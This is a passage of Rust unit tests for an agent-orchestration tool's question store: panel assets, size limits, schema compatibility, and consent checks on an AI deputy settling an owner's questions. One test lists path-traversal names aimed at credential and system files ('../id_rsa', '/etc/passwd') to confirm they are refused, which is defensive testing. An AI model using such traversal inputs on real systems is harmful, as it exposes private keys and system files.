2655        q.summary = "should {url} be configurable?".to_owned();
2656        assert_eq!(
2657            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2658            "should {url} be configurable?"
2659        );
2660        // An unknown brace is the operator's own text and survives untouched.
2661        assert_eq!(
2662            expand("{title}: {run}", &q.run, &q.summary, ""),
2663            "{title}: 20260902-201256-9fb7"
2664        );
2665        assert_eq!(
2666            expand("no placeholders", &q.run, &q.summary, "http://x"),
2667            "no placeholders"
2668        );
2669    }
2670
2671    #[test]
2672    fn the_notification_link_lands_on_the_view_that_can_answer() {
2673        assert_eq!(
2674            question_url("http://100.64.0.1:7777"),
2675            "http://100.64.0.1:7777/#/questions"
2676        );
2677        assert_eq!(
2678            question_url("http://100.64.0.1:7777/"),
2679            "http://100.64.0.1:7777/#/questions"
2680        );
2681        // An operator who wrote a fragment has said where they want to land.
2682        assert_eq!(
2683            question_url("http://magi.ts.net/#/runs"),
2684            "http://magi.ts.net/#/runs"
2685        );
2686        // Unset expands to nothing rather than to a guessed address.
2687        assert_eq!(question_url("  "), "");
2688    }
2689
2690    /// A question with a fixed id, so a panel's path on disk is predictable.
2691    fn panelled() -> Question {
2692        let mut q = choice_question();
2693        q.id = "20260903-014455-ab12".to_owned();
2694        q
2695    }
2696
2697    #[test]
2698    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2699        let (dir, s) = store();
2700        let work = dir.path().join("worktree");
2701        std::fs::create_dir_all(&work).unwrap();
2702        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2703        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2704
2705        let mut q = panelled();
2706        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2707        s.put_panel(
2708            &mut q,
2709            html,
2710            &[work.join("table.png"), work.join("diff.svg")],
2711        )
2712        .unwrap();
2713        s.put(&mut q).unwrap();
2714
2715        assert!(q.panel);
2716        assert_eq!(
2717            q.assets,
2718            ["diff.svg", "table.png"],
2719            "sorted, not in the order the agent happened to pass them"
2720        );
2721        assert_eq!(
2722            s.panel_html(&q.id).as_deref(),
2723            Some(html),
2724            "the html is stored byte for byte; the agent authored the markup"
2725        );
2726        assert_eq!(
2727            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2728            Some(&b"<svg/>"[..])
2729        );
2730
2731        // The record on disk carries the same two fields the front end reads.
2732        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2733        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2734        assert_eq!(json["panel"], true);
2735        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2736        let back = s.get(&q.id).unwrap();
2737        assert!(back.panel);
2738        assert_eq!(back.assets, q.assets);
2739
2740        // The assets were copied, so the panel still renders after `magi fold`
2741        // has deleted the candidate worktree the agent authored it in.
2742        std::fs::remove_dir_all(&work).unwrap();
2743        assert_eq!(
2744            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2745            Some(&b"\x89PNG"[..]),
2746            "a referenced asset would be gone with the worktree"
2747        );
2748    }
2749
2750    #[test]
2751    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2752        let (dir, s) = store();
2753        let mut q = panelled();
2754        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2755        s.put(&mut q).unwrap();
2756
2757        // A file exactly one level up from the panel directory - which is
2758        // where `..` lands - holding content a read would make visible.
2759        let secret = "this must never reach the browser";
2760        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2761        assert_eq!(
2762            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2763            secret,
2764            "the traversal is real: the operating system resolves this path \
2765             happily, which is why the name has to be refused before the join"
2766        );
2767
2768        let long = "x".repeat(200);
2769        for name in [
2770            "..",
2771            "../id_rsa",
2772            "..\\id_rsa",
2773            "sub/../id_rsa",
2774            "/",
2775            "\\",
2776            "/etc/passwd",
2777            "C:\\Windows\\win.ini",
2778            "",
2779            ".hidden",
2780            ".",
2781            long.as_str(),
2782        ] {
2783            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2784            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2785            assert!(
2786                e.contains("not a panel file name"),
2787                "`{name}` must be refused as a name, not attempted: {e}"
2788            );
2789            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2790        }
2791        // A name that is allowed still finds its file, so the refusals above
2792        // were the rule at work and not a store that reads nothing.
2793        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2794
2795        // The same rule on the write side, where the name comes from a source
2796        // file's base name, and a refusal leaves the stored panel untouched.
2797        let hidden = dir.path().join(".hidden");
2798        std::fs::write(&hidden, "x").unwrap();
2799        let e = s
2800            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2801            .unwrap_err()
2802            .to_string();
2803        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2804        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2805        assert!(q.assets.is_empty());
2806    }
2807
2808    #[test]
2809    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2810        let (dir, s) = store();
2811        let mut q = panelled();
2812        s.put(&mut q).unwrap();
2813
2814        // Sized rather than filled: the cap reads the file's length, and a
2815        // test that actually produced eight mebibytes would only be slower.
2816        let big = dir.path().join("recording.png");
2817        std::fs::File::create(&big)
2818            .unwrap()
2819            .set_len(PANEL_MAX_BYTES)
2820            .unwrap();
2821
2822        let html = "<p>see the recording</p>";
2823        let total = PANEL_MAX_BYTES + html.len() as u64;
2824        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2825        assert!(
2826            e.contains(&PANEL_MAX_BYTES.to_string()),
2827            "the cap is named so the agent knows the limit: {e}"
2828        );
2829        assert!(
2830            e.contains(&total.to_string()),
2831            "the actual size is named so the agent knows by how much: {e}"
2832        );
2833
2834        assert!(!q.panel);
2835        assert!(q.assets.is_empty());
2836        let left: Vec<String> = std::fs::read_dir(s.root())
2837            .unwrap()
2838            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2839            .collect();
2840        assert_eq!(
2841            left,
2842            [format!("{}.json", q.id)],
2843            "a refused panel leaves neither a directory nor scratch: {left:?}"
2844        );
2845    }
2846
2847    #[test]
2848    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2849        let (dir, s) = store();
2850        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2851        std::fs::create_dir_all(&before).unwrap();
2852        std::fs::create_dir_all(&after).unwrap();
2853        std::fs::write(before.join("diff.png"), "before").unwrap();
2854        std::fs::write(after.join("diff.png"), "after").unwrap();
2855
2856        let mut q = panelled();
2857        let e = s
2858            .put_panel(
2859                &mut q,
2860                "<p>x</p>",
2861                &[before.join("diff.png"), after.join("diff.png")],
2862            )
2863            .unwrap_err()
2864            .to_string();
2865        assert!(e.contains("diff.png"), "{e}");
2866        assert!(
2867            e.contains("before") && e.contains("after"),
2868            "both sources are named, because the fix is to rename one: {e}"
2869        );
2870        assert!(!q.panel);
2871        assert!(!s.panel_dir(&q.id).exists());
2872    }
2873
2874    #[test]
2875    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2876        let (dir, s) = store();
2877        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2878        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2879
2880        let mut q = panelled();
2881        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2882            .unwrap();
2883        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2884            .unwrap();
2885
2886        assert_eq!(q.assets, ["new.png"]);
2887        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2888        assert!(
2889            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2890            "an asset from the first attempt would show a mix of two answers"
2891        );
2892
2893        s.drop_panel(&q.id).unwrap();
2894        assert!(s.panel_html(&q.id).is_none());
2895        assert!(!s.panel_dir(&q.id).exists());
2896        s.drop_panel(&q.id)
2897            .expect("dropping a panel that is already gone is the desired state");
2898    }
2899
2900    #[test]
2901    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2902        let (_dir, s) = store();
2903        let mut q = panelled();
2904        s.put(&mut q).unwrap();
2905
2906        assert!(!q.panel);
2907        assert!(s.panel_html(&q.id).is_none());
2908        assert!(
2909            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2910            "a missing file is a 404 for the caller, not a failure of the store"
2911        );
2912        let json = serde_json::to_value(&q).unwrap();
2913        assert_eq!(json["panel"], false);
2914        assert_eq!(json["assets"], serde_json::json!([]));
2915
2916        // And an empty panel is refused, because an empty frame reads to the
2917        // owner as "the agent had nothing to say".
2918        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2919        assert!(e.contains("empty panel"), "{e}");
2920        assert!(!s.panel_dir(&q.id).exists());
2921    }
2922
2923    #[test]
2924    fn a_question_written_before_panels_existed_still_deserialises() {
2925        let (_dir, s) = store();
2926        std::fs::create_dir_all(s.root()).unwrap();
2927        let id = "20260902-231501-ab12";
2928        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2929        let body = r#"{
2930  "schema": 1,
2931  "id": "20260902-231501-ab12",
2932  "run": "20260902-201256-9fb7",
2933  "node": "implement",
2934  "seat": "impl-A",
2935  "summary": "Which storage backend should the cache use?",
2936  "detail": "Both are already dependencies.",
2937  "choices": ["SQLite", "Redis"],
2938  "status": "open",
2939  "asked_at": "2026-09-02T23:15:01Z",
2940  "answered_at": null,
2941  "answer": null
2942}"#;
2943        std::fs::write(s.path_of(id), body).unwrap();
2944
2945        let q = s.get(id).unwrap();
2946        assert!(
2947            !q.panel,
2948            "an absent field means no panel, not a parse error"
2949        );
2950        assert!(q.assets.is_empty());
2951        // Schema 1 predates `thread` entirely - not merely predates it having
2952        // any turns - and this build now speaks schema 3. Reading it must not
2953        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2954        // accepted and the missing field defaults to no conversation yet.
2955        assert_eq!(q.schema, 1);
2956        assert!(q.thread.is_empty());
2957        assert_eq!(
2958            q.answer_timeout, 0,
2959            "an absent field means unrecorded, not a zero-second deadline"
2960        );
2961        assert!(!q.waiting_on_agent());
2962        assert_eq!(q.summary, "Which storage backend should the cache use?");
2963        assert_eq!(
2964            s.list().len(),
2965            1,
2966            "and it is still listed; skipping it would hide an open question"
2967        );
2968    }
2969
2970    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2971        Turn {
2972            who,
2973            body: body.to_owned(),
2974            at,
2975            note: None,
2976        }
2977    }
2978
2979    #[test]
2980    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2981        // The phone reads this shape by hand, same as the question itself: a
2982        // rename here is a card that silently drops every message in it.
2983        let mut q = choice_question();
2984        q.thread
2985            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2986        let value = serde_json::to_value(&q.thread[0]).unwrap();
2987        let mut keys: Vec<&str> = value
2988            .as_object()
2989            .unwrap()
2990            .keys()
2991            .map(String::as_str)
2992            .collect();
2993        keys.sort_unstable();
2994        assert_eq!(keys, ["at", "body", "who"]);
2995        assert_eq!(value["who"], "operator");
2996        assert_eq!(value["body"], "why not Postgres?");
2997
2998        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2999        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3000        assert_eq!(parsed.who, Who::Agent);
3001    }
3002
3003    fn approval_question() -> Question {
3004        let mut q = Question::new(
3005            "run".into(),
3006            crate::land::APPROVAL_NODE.into(),
3007            "land".into(),
3008            "Merge?".into(),
3009            String::new(),
3010            vec!["merge".into(), "hold".into()],
3011        );
3012        let mut dep = Deputy::new("brief".into());
3013        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3014        q.deputy = Some(dep);
3015        q
3016    }
3017
3018    #[test]
3019    fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3020        for choice in [
3021            crate::merge_decision::WITHDRAW,
3022            "reimplement:primary",
3023            "retry",
3024            "discard",
3025        ] {
3026            let mut q = approval_question();
3027            q.choices.push(choice.into());
3028            if matches!(choice, "retry" | "discard") {
3029                q.node = "recovery".into();
3030            }
3031            if choice == "discard" {
3032                q.actions.insert(choice.into(), ChoiceAction::Done);
3033            }
3034            let words = "おっけーそれぞれ回答してー";
3035            q.say(words).unwrap();
3036            let error = q
3037                .settle_by_deputy("deputy-x", choice, words, None)
3038                .unwrap_err()
3039                .to_string();
3040            assert!(
3041                error.contains(if choice == "retry" {
3042                    "manifest"
3043                } else {
3044                    "individual owner confirmation"
3045                }),
3046                "{choice}: {error}"
3047            );
3048            assert!(q.status.open());
3049        }
3050    }
3051
3052    #[test]
3053    fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3054        for choice in [
3055            crate::land::HOLD,
3056            crate::land::REPAIR,
3057            crate::merge_decision::WITHDRAW,
3058            "reimplement:beta",
3059        ] {
3060            let mut q = approval_question();
3061            q.node = crate::land::APPROVAL_NODE.into();
3062            q.choices = vec!["merge".into(), choice.into()];
3063            q.merge_target = Some(crate::merge_decision::Target {
3064                pr: "PR 42".into(),
3065                head: "abc".into(),
3066                language: "en".into(),
3067            });
3068            q.say(format!("Should we choose {choice}?")).unwrap();
3069            assert!(
3070                q.settle_by_deputy("deputy-x", choice, choice, None)
3071                    .is_err()
3072            );
3073            q.say(choice).unwrap();
3074            q.settle_by_deputy("deputy-x", choice, choice, None)
3075                .unwrap();
3076            assert_eq!(q.resolution().as_deref(), Some(choice));
3077        }
3078        let mut q = approval_question();
3079        q.node = crate::land::APPROVAL_NODE.into();
3080        q.choices = vec!["merge".into(), "hold".into()];
3081        q.merge_target = Some(crate::merge_decision::Target {
3082            pr: "PR 42".into(),
3083            head: "new-head".into(),
3084            language: "en".into(),
3085        });
3086        q.say("merge old-head").unwrap();
3087        assert!(
3088            q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3089                .is_err()
3090        );
3091        q.say("merge new-head").unwrap();
3092        q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3093            .unwrap();
3094    }
3095
3096    #[test]
3097    fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3098        let mut q = approval_question();
3099        q.choices.push(crate::land::REPAIR.into());
3100        q.say("maybe fix findings and re-review").unwrap();
3101        assert!(
3102            q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3103                .is_err()
3104        );
3105        q.say(crate::land::REPAIR).unwrap();
3106        q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3107            .unwrap();
3108        assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3109        assert_eq!(
3110            crate::land::approval(q.resolution().as_deref()),
3111            crate::land::Approval::Repair
3112        );
3113    }
3114
3115    #[test]
3116    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3117        let mut q = approval_question();
3118        q.say("merge").unwrap();
3119        q.reply("sure?", vec!["merge".into(), "hold".into()])
3120            .unwrap();
3121        q.say(" Merge it please ").unwrap();
3122        assert!(
3123            q.settle_by_deputy("deputy-x", "merge", "   ", None)
3124                .is_err(),
3125            "an empty quote is refused"
3126        );
3127        assert!(
3128            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3129                .is_err(),
3130            "a quote the owner never said is refused"
3131        );
3132        assert_eq!(q.status, QuestionStatus::Open);
3133        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3134            .unwrap();
3135        assert_eq!(q.resolution().as_deref(), Some("merge"));
3136    }
3137
3138    #[test]
3139    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3140        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3141        let mk = || {
3142            let mut q = Question::new(
3143                "run".into(),
3144                crate::github_text::ASK_NODE.into(),
3145                crate::github_text::ASK_SEAT.into(),
3146                "s".into(),
3147                String::new(),
3148                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3149            );
3150            let mut dep = Deputy::new("brief".into());
3151            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3152            q.deputy = Some(dep);
3153            q
3154        };
3155        let mut hedged = mk();
3156        hedged.say("Post the original, maybe?").unwrap();
3157        assert!(
3158            hedged
3159                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3160                .is_err()
3161        );
3162        let mut clear = mk();
3163        clear.say("Post the original text as it is.").unwrap();
3164        clear
3165            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3166            .unwrap();
3167        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3168        let mut japanese = mk();
3169        let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3170        japanese.say(words).unwrap();
3171        japanese
3172            .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3173            .unwrap();
3174        let mut unrelated = mk();
3175        unrelated.say("Proceed with the task").unwrap();
3176        assert!(
3177            unrelated
3178                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3179                .is_err()
3180        );
3181        for words in [
3182            "OK, post the original",
3183            "Yes, post original",
3184            "I'd like to post the original",
3185        ] {
3186            let mut natural = mk();
3187            natural.say(words).unwrap();
3188            natural
3189                .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3190                .unwrap();
3191        }
3192        for (message, quote) in [
3193            (
3194                "ログには「元の説明で投稿しました」と記録されています。",
3195                "ログには「元の説明で投稿しました」と記録されています。",
3196            ),
3197            (
3198                "ログには「元の説明で投稿してください」と記録されています。",
3199                "元の説明で投稿してください",
3200            ),
3201        ] {
3202            let mut descriptive = mk();
3203            descriptive.say(message).unwrap();
3204            assert!(
3205                descriptive
3206                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3207                    .is_err()
3208            );
3209            assert!(descriptive.status.open());
3210            assert!(descriptive.answer.is_none());
3211        }
3212        let mut descriptive = mk();
3213        let message = "Post original was the option I saw.";
3214        descriptive.say(message).unwrap();
3215        for quote in [message, "Post original"] {
3216            assert!(
3217                descriptive
3218                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3219                    .is_err()
3220            );
3221            assert!(descriptive.status.open());
3222            assert!(descriptive.answer.is_none());
3223        }
3224        // The changed text is the safe default: no extra guard beyond the quote.
3225        let mut safe = mk();
3226        safe.say("use the fallback").unwrap();
3227        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3228            .unwrap();
3229    }
3230
3231    #[test]
3232    fn posting_deputy_rejects_multiline_quoted_context() {
3233        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3234        for (command, choice) in [
3235            ("Post original", POST_ORIGINAL),
3236            ("Use rewrite", USE_REWRITE),
3237        ] {
3238            for message in [
3239                format!("The log contains:\n```\n{command}\n```"),
3240                format!("The log contains:\n\"\n{command}\n\""),
3241                format!("The log says: “Reported. {command}.”"),
3242                format!("The log says: “\n{command}\n”"),
3243            ]
3244            .into_iter()
3245            .chain(crate::github_text::reported_posting_messages(command))
3246            {
3247                let mut q = Question::new(
3248                    "run".into(),
3249                    ASK_NODE.into(),
3250                    ASK_SEAT.into(),
3251                    "s".into(),
3252                    String::new(),
3253                    vec![USE_FALLBACK.into(), choice.into()],
3254                );
3255                let mut dep = Deputy::new("brief".into());
3256                dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3257                q.deputy = Some(dep);
3258                q.say(&message).unwrap();
3259                let tmp = tempfile::tempdir().unwrap();
3260                let questions = Questions::at(tmp.path().join("questions"));
3261                questions.put(&mut q).unwrap();
3262                for quote in [command, message.as_str()] {
3263                    assert!(
3264                        questions
3265                            .update(&q.id, |stored| {
3266                                stored.settle_by_deputy("deputy-x", choice, quote, None)
3267                            })
3268                            .is_err()
3269                    );
3270                    let after = questions.get(&q.id).unwrap();
3271                    assert!(after.status.open());
3272                    assert!(after.answer.is_none());
3273                }
3274            }
3275        }
3276    }
3277
3278    #[test]
3279    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3280        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3281        let mk = || {
3282            let mut q = Question::new(
3283                "run".into(),
3284                crate::github_text::ASK_NODE.into(),
3285                crate::github_text::ASK_SEAT.into(),
3286                "s".into(),
3287                String::new(),
3288                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3289            );
3290            let mut dep = Deputy::new("brief".into());
3291            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3292            q.deputy = Some(dep);
3293            q
3294        };
3295        let mut hedged = mk();
3296        hedged.say("Use the rewrite, maybe?").unwrap();
3297        assert!(
3298            hedged
3299                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3300                .is_err()
3301        );
3302        let mut descriptive = mk();
3303        let message = "Use rewrite was the option I saw.";
3304        descriptive.say(message).unwrap();
3305        for quote in [message, "Use rewrite"] {
3306            assert!(
3307                descriptive
3308                    .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3309                    .is_err()
3310            );
3311            assert!(descriptive.status.open());
3312            assert!(descriptive.answer.is_none());
3313        }
3314        for words in [
3315            "Use the rewrite text as it is.",
3316            "I'd like to use the rewrite",
3317            "修正版で投稿してください。",
3318        ] {
3319            let mut clear = mk();
3320            clear.say(words).unwrap();
3321            clear
3322                .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3323                .unwrap();
3324            assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3325        }
3326        // The changed text is the safe default: no extra guard beyond the quote.
3327        let mut safe = mk();
3328        safe.say("use the fallback").unwrap();
3329        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3330            .unwrap();
3331    }
3332
3333    #[test]
3334    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3335        let mk = |choices: Vec<String>| {
3336            let mut q = Question::new(
3337                String::new(),
3338                crate::bump::NOTICE_NODE.into(),
3339                "release-watch".into(),
3340                "Release?".into(),
3341                String::new(),
3342                choices,
3343            );
3344            let mut dep = Deputy::new("brief".into());
3345            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3346            q.deputy = Some(dep);
3347            q
3348        };
3349        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3350        assert!(crate::deputy::merge_gated(&approval));
3351        approval.say("マージしていいよ").unwrap();
3352        assert!(
3353            approval
3354                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3355                .is_err(),
3356            "a quote the owner never said is refused"
3357        );
3358        approval
3359            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3360            .unwrap();
3361
3362        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3363        assert!(!crate::deputy::merge_gated(&esc));
3364        esc.say("もう監視はいらない").unwrap();
3365        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3366            .unwrap();
3367        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3368    }
3369
3370    #[test]
3371    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3372        let mut q = approval_question();
3373        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3374            .unwrap();
3375        assert!(
3376            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3377                .is_err(),
3378            "the quote must be the owner's"
3379        );
3380        assert!(
3381            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3382                .is_err(),
3383            "`hold` still needs the whole message"
3384        );
3385        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3386            .unwrap();
3387        assert_eq!(q.resolution().as_deref(), Some("merge"));
3388    }
3389
3390    fn settle_ready() -> Question {
3391        let mut q = Question::new(
3392            "task".to_owned(),
3393            "conduct".to_owned(),
3394            "conduct".to_owned(),
3395            "Done?".to_owned(),
3396            String::new(),
3397            vec!["yes".to_owned(), "no".to_owned()],
3398        );
3399        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3400        seat.turns = 1;
3401        let mut dep = Deputy::new("brief".to_owned());
3402        dep.seat = Some(seat);
3403        q.deputy = Some(dep);
3404        q.say("setup done, and file a follow-up").unwrap();
3405        q
3406    }
3407
3408    #[test]
3409    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3410        let dir = tempfile::TempDir::new().unwrap();
3411        let store = Questions::at(dir.path().join("questions"));
3412        let mut q = settle_ready();
3413        let id = q.id.clone();
3414        store.put(&mut q).unwrap();
3415        store
3416            .update(&id, |q| {
3417                q.settle_by_deputy(
3418                    "deputy-x",
3419                    "yes",
3420                    "setup done",
3421                    Some("  no follow-up was queued  "),
3422                )
3423            })
3424            .unwrap();
3425        let back = store.get(&id).unwrap();
3426        let turn = back.thread.last().unwrap();
3427        assert_eq!(turn.who, Who::Agent);
3428        assert!(turn.body.starts_with("Settled as `yes`"));
3429        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3430        assert_eq!(back.thread[0].note, None);
3431    }
3432
3433    #[test]
3434    fn an_empty_or_blank_settle_note_is_no_note() {
3435        for note in [None, Some(""), Some("  \n ")] {
3436            let mut q = settle_ready();
3437            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3438                .unwrap();
3439            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3440            let json = serde_json::to_string(&q).unwrap();
3441            assert!(!json.contains("\"note\""), "no key when there is none");
3442        }
3443    }
3444
3445    #[test]
3446    fn a_refused_settle_leaves_no_note_behind() {
3447        let mut q = settle_ready();
3448        let before = q.thread.clone();
3449        assert!(
3450            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3451                .is_err()
3452        );
3453        assert!(
3454            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3455                .is_err()
3456        );
3457        assert_eq!(q.thread, before);
3458        assert_eq!(q.status, QuestionStatus::Open);
3459    }
3460
3461    #[test]
3462    fn a_turn_written_before_notes_existed_still_reads() {
3463        let t: Turn =
3464            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3465                .unwrap();
3466        assert_eq!(t.note, None);
3467    }
3468
3469    #[test]
3470    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3471        let mut q = approval_question();
3472        q.say("merge").unwrap();
3473        q.reply("sure?", vec!["merge".into(), "hold".into()])
3474            .unwrap();
3475        q.say("wait, hold off").unwrap();
3476        assert!(
3477            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3478                .is_err()
3479        );
3480        assert_eq!(q.status, QuestionStatus::Open);
3481    }
3482
3483    #[test]
3484    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3485        let mut q = Question::new(
3486            "task".to_owned(),
3487            "conduct".to_owned(),
3488            "conduct".to_owned(),
3489            "Done?".to_owned(),
3490            String::new(),
3491            vec!["yes".to_owned(), "no".to_owned()],
3492        );
3493        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3494        seat.turns = 1;
3495        let mut dep = Deputy::new("brief".to_owned());
3496        dep.seat = Some(seat);
3497        q.deputy = Some(dep);
3498        q.say("setup done, go ahead").unwrap();
3499
3500        assert!(
3501            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3502                .is_err()
3503        );
3504        assert!(
3505            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3506                .is_err()
3507        );
3508        assert!(
3509            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3510                .is_err()
3511        );
3512        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3513        assert_eq!(q.status, QuestionStatus::Open);
3514
3515        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3516            .unwrap();
3517        assert_eq!(q.status, QuestionStatus::Answered);
3518        assert_eq!(q.resolution().as_deref(), Some("yes"));
3519        let last = q.thread.last().unwrap();
3520        assert_eq!(last.who, Who::Agent);
3521        assert!(
3522            last.body.contains("setup done"),
3523            "the quote stays on the record"
3524        );
3525    }
3526
3527    #[test]
3528    fn a_question_written_before_deputies_still_reads() {
3529        let mut q = Question::new(
3530            "task".to_owned(),
3531            "conduct".to_owned(),
3532            "conduct".to_owned(),
3533            "Done?".to_owned(),
3534            String::new(),
3535            Vec::new(),
3536        );
3537        q.schema = 4;
3538        let mut v = serde_json::to_value(&q).unwrap();
3539        v.as_object_mut().unwrap().remove("deputy");
3540        let back: Question = serde_json::from_value(v).unwrap();
3541        assert!(back.deputy.is_none());
3542    }
3543
3544    #[test]
3545    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3546        let mut q = choice_question();
3547        q.say("does the cache need eviction?").unwrap();
3548        assert_eq!(q.thread.len(), 1);
3549        assert_eq!(q.thread[0].who, Who::Operator);
3550        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3551        // Speaking is not deciding: the status and the answer are untouched,
3552        // which is the whole point of the round trip existing at all.
3553        assert_eq!(q.status, QuestionStatus::Open);
3554        assert!(q.answer.is_none());
3555        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3556    }
3557
3558    #[test]
3559    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3560        let mut answered = choice_question();
3561        answered
3562            .answer(Answer::Choice("SQLite".to_owned()))
3563            .unwrap();
3564        let a = answered.say("still there?").unwrap_err().to_string();
3565        assert!(a.contains("already answered"), "{a}");
3566        let b = answered
3567            .reply("still there?", vec![])
3568            .unwrap_err()
